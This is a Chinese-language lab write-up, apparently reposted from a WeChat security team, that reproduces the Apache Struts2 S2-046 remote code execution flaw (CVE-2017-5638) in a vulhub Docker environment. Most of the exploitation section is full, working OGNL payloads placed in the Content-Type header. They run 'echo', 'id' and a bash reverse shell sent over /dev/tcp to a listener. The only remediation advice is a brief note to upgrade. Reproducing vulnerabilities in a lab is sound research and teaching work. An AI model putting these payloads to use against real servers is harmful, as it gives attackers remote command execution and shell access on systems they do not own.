【漏洞复现】S2-046 远程代码执行漏洞(CVE-2017-5638)

admin 2023年1月20日14:43:55评论42 views字数 3108阅读10分21秒阅读模式

1 漏洞信息

漏洞名称 远程代码执行漏洞
漏洞编号 CVE-2017-5638
危害等级 高危
漏洞类型 中间件漏洞
漏洞厂商 Apache
漏洞组件 Struts2
受影响版本 2.0.0 <= Struts2 <= 2.3.32
漏洞概述 该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息,导致远程攻击者可通过修改HTTP请求头中的Content-Type值,构造发送恶意的数据包,利用该漏洞进而在受影响服务器上执行任意系统命令。



2 环境搭建

2.1 环境概述

  • Linux操作系统

2.2 搭建过程

拉取镜像

cd vulhub/struts2/s2-046docker-compose up -d

【漏洞复现】S2-046 远程代码执行漏洞(CVE-2017-5638)

访问http://192.168.146.158:8046/doUpload.action

【漏洞复现】S2-046 远程代码执行漏洞(CVE-2017-5638)



3 漏洞复现

访问url并且进行抓包,修改为POST方式提交,然后在Content-Type修改为恶意payload

${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo has vul').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
访问url发现成功执行了echo has vul代码,说明存在该漏洞。

【漏洞复现】S2-046 远程代码执行漏洞(CVE-2017-5638)

既然发现漏洞了,那我们可以构造一个payload,执行id命令。

${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

成功执行了id命令。

【漏洞复现】S2-046 远程代码执行漏洞(CVE-2017-5638)

接下来开始反弹shell

bash -i >& /dev/tcp/192.168.146.158/9999 0>&1

访问漏洞url并且添加恶意payload进行抓包。

${(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.146.158/9999 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
【漏洞复现】S2-046 远程代码执行漏洞(CVE-2017-5638)

攻击机进行监听,然后发现成功反弹了shell。

【漏洞复现】S2-046 远程代码执行漏洞(CVE-2017-5638)



4 修复建议

1、推荐的解决方案:升级至比受漏洞影响的更高版本。



- End -

原文始发于微信公众号(NS Demon团队):【漏洞复现】S2-046 远程代码执行漏洞(CVE-2017-5638)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月20日14:43:55
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞复现】S2-046 远程代码执行漏洞(CVE-2017-5638)http://cn-sec.com/archives/1522793.html

发表评论

匿名网友 填写信息